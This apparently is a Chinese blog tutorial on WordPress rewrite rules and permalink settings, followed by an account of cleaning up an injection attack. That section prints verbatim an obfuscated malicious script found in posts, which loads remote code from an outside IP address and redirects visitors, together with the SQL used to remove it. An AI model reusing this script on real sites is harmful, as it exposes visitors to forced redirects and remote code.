WordPress网站伪静态及固定链接设置教程-解决404错误问题

搭建好WordPress网站之后我个人建议首先要做的就是设置好固定链接,WordPress的固定链接也就是网站各个页面的链接格式,默认的方式不太符合现代化网站,推荐使用自定义的方案。

既然涉及到网站链接,为了今后的方便以及SEO优化,所以这一步一定要在建站的已开始就做好。同时子比主题部分功能也依赖于固定链接,例如第三方登录。简约的链接格式也更加有利于SEO!

设置固定链接之前,一定要先配置好网站的伪静态,如果伪静态为设置好,就设置了固定链接,那么就会出现404错误!

接下来我们就按照先设置伪静态再设置固定链接的流程,手把手的图文教程带给大家!

Apache设置伪静态:

修改网站根目录的.htaccess文件,将以下代码复制进去,保存后重启一下Apache

RewriteEngine On
RewriteBase /
RewriteRule ^index.php$ – [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]

Nginx设置伪静态:

找到server/nginx/conf/nginx.conf (路径不一定都一样)文件,将一下代码复制到nginx.conf文件中,保存后重启一下Nginx

location /
{
    try_files $uri $uri/ /index.php?$args;
}

rewrite /wp-admin$ $scheme://$host$uri/ permanent;

固定链接设置

当我们设置好了伪静态之后,我们再次设置固定链接就不会有404的错误了

进入WordPress后台->设置->固定链接,根据您的需要设置为非朴素即可

这里根据SEO和大家的经验,我们推荐将固定链接设置为自定义,内容为:/%post_id%.html

这样的格式可以使链接更加简介,并且有益于SEO

最会需要注意一下的是,如果您先设置好了固定链接,然后再设置的伪静态,那么伪静态设置好了之后一定要再次进入固定链接设置页面,点一下保存设置!

修改主题的部分功能(和链接有关的),也需要重新保存固定链接,也就是进入固定链接设置页面,点一下保存设置,具体哪些设置需要此操作,主题设置中都有详细说明,稍微留意一下即可!

WordPress被SQL注入攻击了怎么办?

前几天一位老哥的网站上的文章末尾,全部被注入了一个JS代码,进入文章页时会强制跳转,代码如下

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

我去数据库中查看,在wp_post表的wp_content字段中,也确实发现了这个代码,但是,在数据库搜索这个脚本时,base64后面的字符串每个文章都是不一样的,那就无法使用替代/删除的办法了。要是手动删除2000多个帖子,要删到猴年马月去。最终查询了N多资料后,再国外的一个论坛上找到了解决办法。

UPDATE wp_posts SET post_content =
 SUBSTRING(post_content, 1, LOCATE('<!--codes_iframe-->', post_content)-1)
 WHERE LOCATE('<!--codes_iframe-->', post_content) >0;

最终使用这行命令清除了2000+文章的恶意脚本

请你 后再发表评论
    回复(1)